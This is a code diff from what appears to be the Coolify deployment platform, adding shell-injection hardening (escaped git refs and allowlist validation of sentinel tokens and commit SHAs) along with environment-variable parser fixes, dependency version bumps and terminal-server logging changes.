private function updateOrCreateVariables($variables)
|
||||
{
|
||||
$count = 0;
|
||||
foreach ($variables as $key => $value) {
|
||||
foreach ($variables as $key => $data) {
|
||||
$value = is_array($data) ? ($data['value'] ?? '') : $data;
|
||||
|
||||
$found = $this->project->environment_variables()->where('key', $key)->first();
|
||||
|
||||
if ($found) {
|
||||
|
|
|
|||
|
|
@ -129,7 +129,9 @@ class Index extends Component
|
|||
private function updateOrCreateVariables($variables)
|
||||
{
|
||||
$count = 0;
|
||||
foreach ($variables as $key => $value) {
|
||||
foreach ($variables as $key => $data) {
|
||||
$value = is_array($data) ? ($data['value'] ?? '') : $data;
|
||||
|
||||
$found = $this->team->environment_variables()->where('key', $key)->first();
|
||||
|
||||
if ($found) {
|
||||
|
|
|
|||
|
|
@ -1686,7 +1686,8 @@ class Application extends BaseModel
|
|||
|
||||
protected function buildGitCheckoutCommand($target): string
|
||||
{
|
||||
$command = "git checkout $target";
|
||||
$escapedTarget = escapeshellarg($target);
|
||||
$command = "git checkout {$escapedTarget}";
|
||||
|
||||
if ($this->settings->is_git_submodules_enabled) {
|
||||
$command .= ' && git submodule update --init --recursive';
|
||||
|
|
|
|||
|
|
@ -92,6 +92,15 @@ class ServerSetting extends Model
|
|||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* Validate that a sentinel token contains only safe characters.
|
||||
* Prevents OS command injection when the token is interpolated into shell commands.
|
||||
*/
|
||||
public static function isValidSentinelToken(string $token): bool
|
||||
{
|
||||
return (bool) preg_match('/\A[a-zA-Z0-9._\-+=\/]+\z/', $token);
|
||||
}
|
||||
|
||||
public function generateSentinelToken(bool $save = true, bool $ignoreEvent = false)
|
||||
{
|
||||
$data = [
|
||||
|
|
|
|||
|
|
@ -2,6 +2,8 @@
|
|||
|
||||
namespace App\Traits;
|
||||
|
||||
use App\Models\ServerSetting;
|
||||
|
||||
trait HasMetrics
|
||||
{
|
||||
public function getCpuMetrics(int $mins = 5): ?array
|
||||
|
|
@ -26,8 +28,13 @@ trait HasMetrics
|
|||
$from = now()->subMinutes($mins)->toIso8601ZuluString();
|
||||
$endpoint = $this->getMetricsEndpoint($type, $from);
|
||||
|
||||
$token = $server->settings->sentinel_token;
|
||||
if (! ServerSetting::isValidSentinelToken($token)) {
|
||||
throw new \Exception('Invalid sentinel token format. Please regenerate the token.');
|
||||
}
|
||||
|
||||
$response = instant_remote_process(
|
||||
["docker exec coolify-sentinel sh -c 'curl -H \"Authorization: Bearer {$server->settings->sentinel_token}\" {$endpoint}'"],
|
||||
["docker exec coolify-sentinel sh -c 'curl -H \"Authorization: Bearer {$token}\" {$endpoint}'"],
|
||||
$server,
|
||||
false
|
||||
);
|
||||
|
|
|
|||
|
|
@ -92,7 +92,7 @@ function sharedDataApplications()
|
|||
'static_image' => Rule::enum(StaticImageTypes::class),
|
||||
'domains' => 'string|nullable',
|
||||
'redirect' => Rule::enum(RedirectTypes::class),
|
||||
'git_commit_sha' => 'string',
|
||||
'git_commit_sha' => ['string', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'],
|
||||
'docker_registry_image_name' => 'string|nullable',
|
||||
'docker_registry_image_tag' => 'string|nullable',
|
||||
'install_command' => 'string|nullable',
|
||||
|
|
|
|||
|
|
@ -442,9 +442,9 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int
|
|||
$value = str($value);
|
||||
$regex = '/\$(\{?([a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff]*)\}?)/';
|
||||
preg_match_all($regex, $value, $valueMatches);
|
||||
if (count($valueMatches[1]) > 0) {
|
||||
foreach ($valueMatches[1] as $match) {
|
||||
$match = replaceVariables($match);
|
||||
if (count($valueMatches[2]) > 0) {
|
||||
foreach ($valueMatches[2] as $match) {
|
||||
$match = str($match);
|
||||
if ($match->startsWith('SERVICE_')) {
|
||||
if ($magicEnvironments->has($match->value())) {
|
||||
continue;
|
||||
|
|
@ -986,15 +986,17 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int
|
|||
continue;
|
||||
}
|
||||
if ($key->value() === $parsedValue->value()) {
|
||||
$value = null;
|
||||
$resource->environment_variables()->firstOrCreate([
|
||||
// Simple variable reference (e.g. DATABASE_URL: ${DATABASE_URL})
|
||||
// Use firstOrCreate to avoid overwriting user-saved values on redeploy
|
||||
$envVar = $resource->environment_variables()->firstOrCreate([
|
||||
'key' => $key,
|
||||
'resourceable_type' => get_class($resource),
|
||||
'resourceable_id' => $resource->id,
|
||||
], [
|
||||
'value' => $value,
|
||||
'is_preview' => false,
|
||||
]);
|
||||
// Add the variable to the environment using the saved DB value
|
||||
$environment[$key->value()] = $envVar->value;
|
||||
} else {
|
||||
if ($value->startsWith('$')) {
|
||||
$isRequired = false;
|
||||
|
|
@ -1074,7 +1076,7 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int
|
|||
} else {
|
||||
// Simple variable reference without default
|
||||
$parsedKeyValue = replaceVariables($value);
|
||||
$resource->environment_variables()->firstOrCreate([
|
||||
$envVar = $resource->environment_variables()->firstOrCreate([
|
||||
'key' => $content,
|
||||
'resourceable_type' => get_class($resource),
|
||||
'resourceable_id' => $resource->id,
|
||||
|
|
@ -1082,8 +1084,8 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int
|
|||
'is_preview' => false,
|
||||
'is_required' => $isRequired,
|
||||
]);
|
||||
// Add the variable to the environment
|
||||
$environment[$content] = $value;
|
||||
// Add the variable to the environment using the saved DB value
|
||||
$environment[$content] = $envVar->value;
|
||||
}
|
||||
} else {
|
||||
// Fallback to old behavior for malformed input (backward compatibility)
|
||||
|
|
@ -1109,7 +1111,7 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int
|
|||
if ($originalValue->value() === $value->value()) {
|
||||
// This means the variable does not have a default value
|
||||
$parsedKeyValue = replaceVariables($value);
|
||||
$resource->environment_variables()->firstOrCreate([
|
||||
$envVar = $resource->environment_variables()->firstOrCreate([
|
||||
'key' => $parsedKeyValue,
|
||||
'resourceable_type' => get_class($resource),
|
||||
'resourceable_id' => $resource->id,
|
||||
|
|
@ -1117,7 +1119,8 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int
|
|||
'is_preview' => false,
|
||||
'is_required' => $isRequired,
|
||||
]);
|
||||
$environment[$parsedKeyValue->value()] = $value;
|
||||
// Add the variable to the environment using the saved DB value
|
||||
$environment[$parsedKeyValue->value()] = $envVar->value;
|
||||
|
||||
continue;
|
||||
}
|
||||
|
|
@ -1509,6 +1512,18 @@ function serviceParser(Service $resource): Collection
|
|||
return collect([]);
|
||||
}
|
||||
$services = data_get($yaml, 'services', collect([]));
|
||||
|
||||
// Clean up corrupted environment variables from previous parser bugs
|
||||
// (keys starting with $ or ending with } should not exist as env var names)
|
||||
$resource->environment_variables()
|
||||
->where('resourceable_type', get_class($resource))
|
||||
->where('resourceable_id', $resource->id)
|
||||
->where(function ($q) {
|
||||
$q->where('key', 'LIKE', '$%')
|
||||
->orWhere('key', 'LIKE', '%}');
|
||||
})
|
||||
->delete();
|
||||
|
||||
$topLevel = collect([
|
||||
'volumes' => collect(data_get($yaml, 'volumes', [])),
|
||||
'networks' => collect(data_get($yaml, 'networks', [])),
|
||||
|
|
@ -1686,9 +1701,9 @@ function serviceParser(Service $resource): Collection
|
|||
$value = str($value);
|
||||
$regex = '/\$(\{?([a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff]*)\}?)/';
|
||||
preg_match_all($regex, $value, $valueMatches);
|
||||
if (count($valueMatches[1]) > 0) {
|
||||
foreach ($valueMatches[1] as $match) {
|
||||
$match = replaceVariables($match);
|
||||
if (count($valueMatches[2]) > 0) {
|
||||
foreach ($valueMatches[2] as $match) {
|
||||
$match = str($match);
|
||||
if ($match->startsWith('SERVICE_')) {
|
||||
if ($magicEnvironments->has($match->value())) {
|
||||
continue;
|
||||
|
|
@ -1928,7 +1943,7 @@ function serviceParser(Service $resource): Collection
|
|||
|
||||
} else {
|
||||
$value = generateEnvValue($command, $resource);
|
||||
$resource->environment_variables()->updateOrCreate([
|
||||
$resource->environment_variables()->firstOrCreate([
|
||||
'key' => $key->value(),
|
||||
'resourceable_type' => get_class($resource),
|
||||
'resourceable_id' => $resource->id,
|
||||
|
|
@ -2313,16 +2328,18 @@ function serviceParser(Service $resource): Collection
|
|||
continue;
|
||||
}
|
||||
if ($key->value() === $parsedValue->value()) {
|
||||
$value = null;
|
||||
$resource->environment_variables()->updateOrCreate([
|
||||
// Simple variable reference (e.g. DATABASE_URL: ${DATABASE_URL})
|
||||
// Use firstOrCreate to avoid overwriting user-saved values on redeploy
|
||||
$envVar = $resource->environment_variables()->firstOrCreate([
|
||||
'key' => $key,
|
||||
'resourceable_type' => get_class($resource),
|
||||
'resourceable_id' => $resource->id,
|
||||
], [
|
||||
'value' => $value,
|
||||
'is_preview' => false,
|
||||
'comment' => $envComments[$originalKey] ?? null,
|
||||
]);
|
||||
// Add the variable to the environment using the saved DB value
|
||||
$environment[$key->value()] = $envVar->value;
|
||||
} else {
|
||||
if ($value->startsWith('$')) {
|
||||
$isRequired = false;
|
||||
|
|
@ -2409,7 +2426,8 @@ function serviceParser(Service $resource): Collection
|
|||
}
|
||||
} else {
|
||||
// Simple variable reference without default
|
||||
$resource->environment_variables()->updateOrCreate([
|
||||
// Use firstOrCreate to avoid overwriting user-saved values on redeploy
|
||||
$envVar = $resource->environment_variables()->firstOrCreate([
|
||||
'key' => $content,
|
||||
'resourceable_type' => get_class($resource),
|
||||
'resourceable_id' => $resource->id,
|
||||
|
|
@ -2418,6 +2436,8 @@ function serviceParser(Service $resource): Collection
|
|||
'is_required' => $isRequired,
|
||||
'comment' => $envComments[$originalKey] ?? null,
|
||||
]);
|
||||
// Add the variable to the environment using the saved DB value
|
||||
$environment[$content] = $envVar->value;
|
||||
}
|
||||
} else {
|
||||
// Fallback to old behavior for malformed input (backward compatibility)
|
||||
|
|
@ -2443,8 +2463,9 @@ function serviceParser(Service $resource): Collection
|
|||
|
||||
if ($originalValue->value() === $value->value()) {
|
||||
// This means the variable does not have a default value
|
||||
// Use firstOrCreate to avoid overwriting user-saved values on redeploy
|
||||
$parsedKeyValue = replaceVariables($value);
|
||||
$resource->environment_variables()->updateOrCreate([
|
||||
$envVar = $resource->environment_variables()->firstOrCreate([
|
||||
'key' => $parsedKeyValue,
|
||||
'resourceable_type' => get_class($resource),
|
||||
'resourceable_id' => $resource->id,
|
||||
|
|
@ -2453,12 +2474,13 @@ function serviceParser(Service $resource): Collection
|
|||
'is_required' => $isRequired,
|
||||
'comment' => $envComments[$originalKey] ?? null,
|
||||
]);
|
||||
// Add the variable to the environment so it will be shown in the deployable compose file
|
||||
$environment[$parsedKeyValue->value()] = $value;
|
||||
// Add the variable to the environment using the saved DB value
|
||||
$environment[$parsedKeyValue->value()] = $envVar->value;
|
||||
|
||||
continue;
|
||||
}
|
||||
$resource->environment_variables()->updateOrCreate([
|
||||
// Variable with a default value from compose — use firstOrCreate to preserve user edits
|
||||
$resource->environment_variables()->firstOrCreate([
|
||||
'key' => $key,
|
||||
'resourceable_type' => get_class($resource),
|
||||
'resourceable_id' => $resource->id,
|
||||
|
|
|
|||
|
|
@ -128,6 +128,11 @@ function replaceVariables(string $variable): Stringable
|
|||
return $str->replaceFirst('{', '')->before('}');
|
||||
}
|
||||
|
||||
// Handle bare $VAR format (no braces)
|
||||
if ($str->startsWith('$')) {
|
||||
return $str->replaceFirst('$', '');
|
||||
}
|
||||
|
||||
return $str;
|
||||
}
|
||||
|
||||
|
|
|
|||
|
|
@ -147,6 +147,39 @@ function validateShellSafePath(string $input, string $context = 'path'): string
|
|||
return $input;
|
||||
}
|
||||
|
||||
/**
|
||||
* Validate that a string is a safe git ref (commit SHA, branch name, tag, or HEAD).
|
||||
*
|
||||
* Prevents command injection by enforcing an allowlist of characters valid for git refs.
|
||||
* Valid: hex SHAs, HEAD, branch/tag names (alphanumeric, dots, hyphens, underscores, slashes).
|
||||
*
|
||||
* @param string $input The git ref to validate
|
||||
* @param string $context Descriptive name for error messages
|
||||
* @return string The validated input (trimmed)
|
||||
*
|
||||
* @throws \Exception If the input contains disallowed characters
|
||||
*/
|
||||
function validateGitRef(string $input, string $context = 'git ref'): string
|
||||
{
|
||||
$input = trim($input);
|
||||
|
||||
if ($input === '' || $input === 'HEAD') {
|
||||
return $input;
|
||||
}
|
||||
|
||||
// Must not start with a hyphen (git flag injection)
|
||||
if (str_starts_with($input, '-')) {
|
||||
throw new \Exception("Invalid {$context}: must not start with a hyphen.");
|
||||
}
|
||||
|
||||
// Allow only alphanumeric characters, dots, hyphens, underscores, and slashes
|
||||
if (! preg_match('/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/', $input)) {
|
||||
throw new \Exception("Invalid {$context}: contains disallowed characters. Only alphanumeric characters, dots, hyphens, underscores, and slashes are allowed.");
|
||||
}
|
||||
|
||||
return $input;
|
||||
}
|
||||
|
||||
function generate_readme_file(string $name, string $updated_at): string
|
||||
{
|
||||
$name = sanitize_string($name);
|
||||
|
|
|
|||
18
composer.lock
generated
18
composer.lock
generated
|
|
@ -2663,16 +2663,16 @@
|
|||
},
|
||||
{
|
||||
"name": "league/commonmark",
|
||||
"version": "2.8.0",
|
||||
"version": "2.8.1",
|
||||
"source": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/thephpleague/commonmark.git",
|
||||
"reference": "4efa10c1e56488e658d10adf7b7b7dcd19940bfb"
|
||||
"reference": "84b1ca48347efdbe775426f108622a42735a6579"
|
||||
},
|
||||
"dist": {
|
||||
"type": "zip",
|
||||
"url": "https://api.github.com/repos/thephpleague/commonmark/zipball/4efa10c1e56488e658d10adf7b7b7dcd19940bfb",
|
||||
"reference": "4efa10c1e56488e658d10adf7b7b7dcd19940bfb",
|
||||
"url": "https://api.github.com/repos/thephpleague/commonmark/zipball/84b1ca48347efdbe775426f108622a42735a6579",
|
||||
"reference": "84b1ca48347efdbe775426f108622a42735a6579",
|
||||
"shasum": ""
|
||||
},
|
||||
"require": {
|
||||
|
|
@ -2697,9 +2697,9 @@
|
|||
"phpstan/phpstan": "^1.8.2",
|
||||
"phpunit/phpunit": "^9.5.21 || ^10.5.9 || ^11.0.0",
|
||||
"scrutinizer/ocular": "^1.8.1",
|
||||
"symfony/finder": "^5.3 | ^6.0 | ^7.0",
|
||||
"symfony/process": "^5.4 | ^6.0 | ^7.0",
|
||||
"symfony/yaml": "^2.3 | ^3.0 | ^4.0 | ^5.0 | ^6.0 | ^7.0",
|
||||
"symfony/finder": "^5.3 | ^6.0 | ^7.0 || ^8.0",
|
||||
"symfony/process": "^5.4 | ^6.0 | ^7.0 || ^8.0",
|
||||
"symfony/yaml": "^2.3 | ^3.0 | ^4.0 | ^5.0 | ^6.0 | ^7.0 || ^8.0",
|
||||
"unleashedtech/php-coding-standard": "^3.1.1",
|
||||
"vimeo/psalm": "^4.24.0 || ^5.0.0 || ^6.0.0"
|
||||
},
|
||||
|
|
@ -2766,7 +2766,7 @@
|
|||
"type": "tidelift"
|
||||
}
|
||||
],
|
||||
"time": "2025-11-26T21:48:24+00:00"
|
||||
"time": "2026-03-05T21:37:03+00:00"
|
||||
},
|
||||
{
|
||||
"name": "league/config",
|
||||
|
|
@ -17209,5 +17209,5 @@
|
|||
"php": "^8.4"
|
||||
},
|
||||
"platform-dev": {},
|
||||
"plugin-api-version": "2.6.0"
|
||||
"plugin-api-version": "2.9.0"
|
||||
}
|
||||
|
|
|
|||
|
|
@ -2,9 +2,9 @@
|
|||
|
||||
return [
|
||||
'coolify' => [
|
||||
'version' => '4.0.0-beta.464',
|
||||
'version' => '4.0.0-beta.466',
|
||||
'helper_version' => '1.0.12',
|
||||
'realtime_version' => '1.0.10',
|
||||
'realtime_version' => '1.0.11',
|
||||
'self_hosted' => env('SELF_HOSTED', true),
|
||||
'autoupdate' => env('AUTOUPDATE'),
|
||||
'base_config_path' => env('BASE_CONFIG_PATH', '/data/coolify'),
|
||||
|
|
|
|||
|
|
@ -73,6 +73,7 @@ services:
|
|||
volumes:
|
||||
- ./storage:/var/www/html/storage
|
||||
- ./docker/coolify-realtime/terminal-server.js:/terminal/terminal-server.js
|
||||
- ./docker/coolify-realtime/terminal-utils.js:/terminal/terminal-utils.js
|
||||
environment:
|
||||
SOKETI_DEBUG: "false"
|
||||
SOKETI_DEFAULT_APP_ID: "${PUSHER_APP_ID:-coolify}"
|
||||
|
|
|
|||
|
|
@ -73,6 +73,7 @@ services:
|
|||
volumes:
|
||||
- ./storage:/var/www/html/storage
|
||||
- ./docker/coolify-realtime/terminal-server.js:/terminal/terminal-server.js
|
||||
- ./docker/coolify-realtime/terminal-utils.js:/terminal/terminal-utils.js
|
||||
environment:
|
||||
SOKETI_DEBUG: "false"
|
||||
SOKETI_DEFAULT_APP_ID: "${PUSHER_APP_ID:-coolify}"
|
||||
|
|
|
|||
|
|
@ -60,7 +60,7 @@ services:
|
|||
retries: 10
|
||||
timeout: 2s
|
||||
soketi:
|
||||
image: '${REGISTRY_URL:-ghcr.io}/coollabsio/coolify-realtime:1.0.10'
|
||||
image: '${REGISTRY_URL:-ghcr.io}/coollabsio/coolify-realtime:1.0.11'
|
||||
ports:
|
||||
- "${SOKETI_PORT:-6001}:6001"
|
||||
- "6002:6002"
|
||||
|
|
|
|||
|
|
@ -16,6 +16,7 @@ RUN npm i
|
|||
RUN npm rebuild node-pty --update-binary
|
||||
COPY docker/coolify-realtime/soketi-entrypoint.sh /soketi-entrypoint.sh
|
||||
COPY docker/coolify-realtime/terminal-server.js /terminal/terminal-server.js
|
||||
COPY docker/coolify-realtime/terminal-utils.js /terminal/terminal-utils.js
|
||||
|
||||
# Install Cloudflared based on architecture
|
||||
RUN if [ "${TARGETPLATFORM}" = "linux/amd64" ]; then \
|
||||
|
|
|
|||
96
docker/coolify-realtime/package-lock.json
generated
96
docker/coolify-realtime/package-lock.json
generated
|
|
@ -5,29 +5,29 @@
|
|||
"packages": {
|
||||
"": {
|
||||
"dependencies": {
|
||||
"@xterm/addon-fit": "0.10.0",
|
||||
"@xterm/xterm": "5.5.0",
|
||||
"axios": "1.12.0",
|
||||
"cookie": "1.0.2",
|
||||
"dotenv": "16.5.0",
|
||||
"node-pty": "1.0.0",
|
||||
"ws": "8.18.1"
|
||||
"@xterm/addon-fit": "0.11.0",
|
||||
"@xterm/xterm": "6.0.0",
|
||||
"axios": "1.13.6",
|
||||
"cookie": "1.1.1",
|
||||
"dotenv": "17.3.1",
|
||||
"node-pty": "1.1.0",
|
||||
"ws": "8.19.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@xterm/addon-fit": {
|
||||
"version": "0.10.0",
|
||||
"resolved": "https://registry.npmjs.org/@xterm/addon-fit/-/addon-fit-0.10.0.tgz",
|
||||
"integrity": "sha512-UFYkDm4HUahf2lnEyHvio51TNGiLK66mqP2JoATy7hRZeXaGMRDr00JiSF7m63vR5WKATF605yEggJKsw0JpMQ==",
|
||||
"license": "MIT",
|
||||
"peerDependencies": {
|
||||
"@xterm/xterm": "^5.0.0"
|
||||
}
|
||||
"version": "0.11.0",
|
||||
"resolved": "https://registry.npmjs.org/@xterm/addon-fit/-/addon-fit-0.11.0.tgz",
|
||||
"integrity": "sha512-jYcgT6xtVYhnhgxh3QgYDnnNMYTcf8ElbxxFzX0IZo+vabQqSPAjC3c1wJrKB5E19VwQei89QCiZZP86DCPF7g==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/@xterm/xterm": {
|
||||
"version": "5.5.0",
|
||||
"resolved": "https://registry.npmjs.org/@xterm/xterm/-/xterm-5.5.0.tgz",
|
||||
"integrity": "sha512-hqJHYaQb5OptNunnyAnkHyM8aCjZ1MEIDTQu1iIbbTD/xops91NB5yq1ZK/dC2JDbVWtF23zUtl9JE2NqwT87A==",
|
||||
"license": "MIT"
|
||||
"version": "6.0.0",
|
||||
"resolved": "https://registry.npmjs.org/@xterm/xterm/-/xterm-6.0.0.tgz",
|
||||
"integrity": "sha512-TQwDdQGtwwDt+2cgKDLn0IRaSxYu1tSUjgKarSDkUM0ZNiSRXFpjxEsvc/Zgc5kq5omJ+V0a8/kIM2WD3sMOYg==",
|
||||
"license": "MIT",
|
||||
"workspaces": [
|
||||
"addons/*"
|
||||
]
|
||||
},
|
||||
"node_modules/asynckit": {
|
||||
"version": "0.4.0",
|
||||
|
|
@ -36,13 +36,13 @@
|
|||
"license": "MIT"
|
||||
},
|
||||
"node_modules/axios": {
|
||||
"version": "1.12.0",
|
||||
"resolved": "https://registry.npmjs.org/axios/-/axios-1.12.0.tgz",
|
||||
"integrity": "sha512-oXTDccv8PcfjZmPGlWsPSwtOJCZ/b6W5jAMCNcfwJbCzDckwG0jrYJFaWH1yvivfCXjVzV/SPDEhMB3Q+DSurg==",
|
||||
"version": "1.13.6",
|
||||
"resolved": "https://registry.npmjs.org/axios/-/axios-1.13.6.tgz",
|
||||
"integrity": "sha512-ChTCHMouEe2kn713WHbQGcuYrr6fXTBiu460OTwWrWob16g1bXn4vtz07Ope7ewMozJAnEquLk5lWQWtBig9DQ==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"follow-redirects": "^1.15.6",
|
||||
"form-data": "^4.0.4",
|
||||
"follow-redirects": "^1.15.11",
|
||||
"form-data": "^4.0.5",
|
||||
"proxy-from-env": "^1.1.0"
|
||||
}
|
||||
},
|
||||
|
|
@ -72,12 +72,16 @@
|
|||
}
|
||||
},
|
||||
"node_modules/cookie": {
|
||||
"version": "1.0.2",
|
||||
"resolved": "https://registry.npmjs.org/cookie/-/cookie-1.0.2.tgz",
|
||||
"integrity": "sha512-9Kr/j4O16ISv8zBBhJoi4bXOYNTkFLOqSL3UDB0njXxCXNezjeyVrJyGOWtgfs/q2km1gwBcfH8q1yEGoMYunA==",
|
||||
"version": "1.1.1",
|
||||
"resolved": "https://registry.npmjs.org/cookie/-/cookie-1.1.1.tgz",
|
||||
"integrity": "sha512-ei8Aos7ja0weRpFzJnEA9UHJ/7XQmqglbRwnf2ATjcB9Wq874VKH9kfjjirM6UhU2/E5fFYadylyhFldcqSidQ==",
|
||||
"license": "MIT",
|
||||
"engines": {
|
||||
"node": ">=18"
|
||||
},
|
||||
"funding": {
|
||||
"type": "opencollective",
|
||||
"url": "https://opencollective.com/express"
|
||||
}
|
||||
},
|
||||
"node_modules/delayed-stream": {
|
||||
|
|
@ -90,9 +94,9 @@
|
|||
}
|
||||
},
|
||||
"node_modules/dotenv": {
|
||||
"version": "16.5.0",
|
||||
"resolved": "https://registry.npmjs.org/dotenv/-/dotenv-16.5.0.tgz",
|
||||
"integrity": "sha512-m/C+AwOAr9/W1UOIZUo232ejMNnJAJtYQjUbHoNTBNTJSvqzzDh7vnrei3o3r3m9blf6ZoDkvcw0VmozNRFJxg==",
|
||||
"version": "17.3.1",
|
||||
"resolved": "https://registry.npmjs.org/dotenv/-/dotenv-17.3.1.tgz",
|
||||
"integrity": "sha512-IO8C/dzEb6O3F9/twg6ZLXz164a2fhTnEWb95H23Dm4OuN+92NmEAlTrupP9VW6Jm3sO26tQlqyvyi4CsnY9GA==",
|
||||
"license": "BSD-2-Clause",
|
||||
"engines": {
|
||||
"node": ">=12"
|
||||
|
|
@ -161,9 +165,9 @@
|
|||
}
|
||||
},
|
||||
"node_modules/follow-redirects": {
|
||||
"version": "1.15.9",
|
||||
"resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.9.tgz",
|
||||
"integrity": "sha512-gew4GsXizNgdoRyqmyfMHyAmXsZDk6mHkSxZFCzW9gwlbtOW44CDtYavM+y+72qD/Vq2l550kMF52DT8fOLJqQ==",
|
||||
"version": "1.15.11",
|
||||
"resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.11.tgz",
|
||||
"integrity": "sha512-deG2P0JfjrTxl50XGCDyfI97ZGVCxIpfKYmfyrQ54n5FO/0gfIES8C/Psl6kWVDolizcaaxZJnTS0QSMxvnsBQ==",
|
||||
"funding": [
|
||||
{
|
||||
"type": "individual",
|
||||
|
|
@ -181,9 +185,9 @@
|
|||
}
|
||||
},
|
||||
"node_modules/form-data": {
|
||||
"version": "4.0.4",
|
||||
"resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.4.tgz",
|
||||
"integrity": "sha512-KrGhL9Q4zjj0kiUt5OO4Mr/A/jlI2jDYs5eHBpYHPcBEVSiipAvn2Ko2HnPe20rmcuuvMHNdZFp+4IlGTMF0Ow==",
|
||||
"version": "4.0.5",
|
||||
"resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.5.tgz",
|
||||
"integrity": "sha512-8RipRLol37bNs2bhoV67fiTEvdTrbMUYcFTiy3+wuuOnUog2QBHCZWXDRijWQfAkhBj2Uf5UnVaiWwA5vdd82w==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"asynckit": "^0.4.0",
|
||||
|
|
@ -323,20 +327,20 @@
|
|||
"node": ">= 0.6"
|
||||
}
|
||||
},
|
||||
"node_modules/nan": {
|
||||
"version": "2.23.0",
|
||||
"resolved": "https://registry.npmjs.org/nan/-/nan-2.23.0.tgz",
|
||||
"integrity": "sha512-1UxuyYGdoQHcGg87Lkqm3FzefucTa0NAiOcuRsDmysep3c1LVCRK2krrUDafMWtjSG04htvAmvg96+SDknOmgQ==",
|
||||
"node_modules/node-addon-api": {
|
||||
"version": "7.1.1",
|
||||
"resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-7.1.1.tgz",
|
||||
"integrity": "sha512-5m3bsyrjFWE1xf7nz7YXdN4udnVtXK6/Yfgn5qnahL6bCkf2yKt4k3nuTKAtT4r3IG8JNR2ncsIMdZuAzJjHQQ==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/node-pty": {
|
||||
"version": "1.0.0",
|
||||
"resolved": "https://registry.npmjs.org/node-pty/-/node-pty-1.0.0.tgz",
|
||||
"integrity": "sha512-wtBMWWS7dFZm/VgqElrTvtfMq4GzJ6+edFI0Y0zyzygUSZMgZdraDUMUhCIvkjhJjme15qWmbyJbtAx4ot4uZA==",
|
||||
"version": "1.1.0",
|
||||
"resolved": "https://registry.npmjs.org/node-pty/-/node-pty-1.1.0.tgz",
|
||||
"integrity": "sha512-20JqtutY6JPXTUnL0ij1uad7Qe1baT46lyolh2sSENDd4sTzKZ4nmAFkeAARDKwmlLjPx6XKRlwRUxwjOy+lUg==",
|
||||
"hasInstallScript": true,
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"nan": "^2.17.0"
|
||||
"node-addon-api": "^7.1.0"
|
||||
}
|
||||
},
|
||||
"node_modules/proxy-from-env": {
|
||||
|
|
@ -346,9 +350,9 @@
|
|||
"license": "MIT"
|
||||
},
|
||||
"node_modules/ws": {
|
||||
"version": "8.18.1",
|
||||
"resolved": "https://registry.npmjs.org/ws/-/ws-8.18.1.tgz",
|
||||
"integrity": "sha512-RKW2aJZMXeMxVpnZ6bck+RswznaxmzdULiBr6KY7XkTnW8uvt0iT9H5DkHUChXrc+uurzwa0rVI16n/Xzjdz1w==",
|
||||
"version": "8.19.0",
|
||||
"resolved": "https://registry.npmjs.org/ws/-/ws-8.19.0.tgz",
|
||||
"integrity": "sha512-blAT2mjOEIi0ZzruJfIhb3nps74PRWTCz1IjglWEEpQl5XS/UNama6u2/rjFkDDouqr4L67ry+1aGIALViWjDg==",
|
||||
"license": "MIT",
|
||||
"engines": {
|
||||
"node": ">=10.0.0"
|
||||
|
|
|
|||
|
|
@ -2,12 +2,12 @@
|
|||
"private": true,
|
||||
"type": "module",
|
||||
"dependencies": {
|
||||
"@xterm/addon-fit": "0.10.0",
|
||||
"@xterm/xterm": "5.5.0",
|
||||
"cookie": "1.0.2",
|
||||
"axios": "1.12.0",
|
||||
"dotenv": "16.5.0",
|
||||
"node-pty": "1.0.0",
|
||||
"ws": "8.18.1"
|
||||
"@xterm/addon-fit": "0.11.0",
|
||||
"@xterm/xterm": "6.0.0",
|
||||
"cookie": "1.1.1",
|
||||
"axios": "1.13.6",
|
||||
"dotenv": "17.3.1",
|
||||
"node-pty": "1.1.0",
|
||||
"ws": "8.19.0"
|
||||
}
|
||||
}
|
||||
|
|
@ -4,8 +4,33 @@ import pty from 'node-pty';
|
|||
import axios from 'axios';
|
||||
import cookie from 'cookie';
|
||||
import 'dotenv/config';
|
||||
import {
|
||||
extractHereDocContent,
|
||||
extractSshArgs,
|
||||
extractTargetHost,
|
||||
extractTimeout,
|
||||
isAuthorizedTargetHost,
|
||||
} from './terminal-utils.js';
|
||||
|
||||
const userSessions = new Map();
|
||||
const terminalDebugEnabled = ['local', 'development'].includes(
|
||||
String(process.env.APP_ENV || process.env.NODE_ENV || '').toLowerCase()
|
||||
);
|
||||
|
||||
function logTerminal(level, message, context = {}) {
|
||||
if (!terminalDebugEnabled) {
|
||||
return;
|
||||
}
|
||||
|
||||
const formattedMessage = `[TerminalServer] ${message}`;
|
||||
|
||||
if (Object.keys(context).length > 0) {
|
||||
console[level](formattedMessage, context);
|
||||
return;
|
||||
}
|
||||
|
||||
console[level](formattedMessage);
|
||||
}
|
||||
|
||||
const server = http.createServer((req, res) => {
|
||||
if (req.url === '/ready') {
|
||||
|
|
@ -31,9 +56,19 @@ const getSessionCookie = (req) => {
|
|||
|
||||
const verifyClient = async (info, callback) => {
|
||||
const { xsrfToken, laravelSession, sessionCookieName } = getSessionCookie(info.req);
|
||||
const requestContext = {
|
||||
remoteAddress: info.req.socket?.remoteAddress,
|
||||
origin: info.origin,
|
||||
sessionCookieName,
|
||||
hasXsrfToken: Boolean(xsrfToken),
|
||||
hasLaravelSession: Boolean(laravelSession),
|
||||
};
|
||||
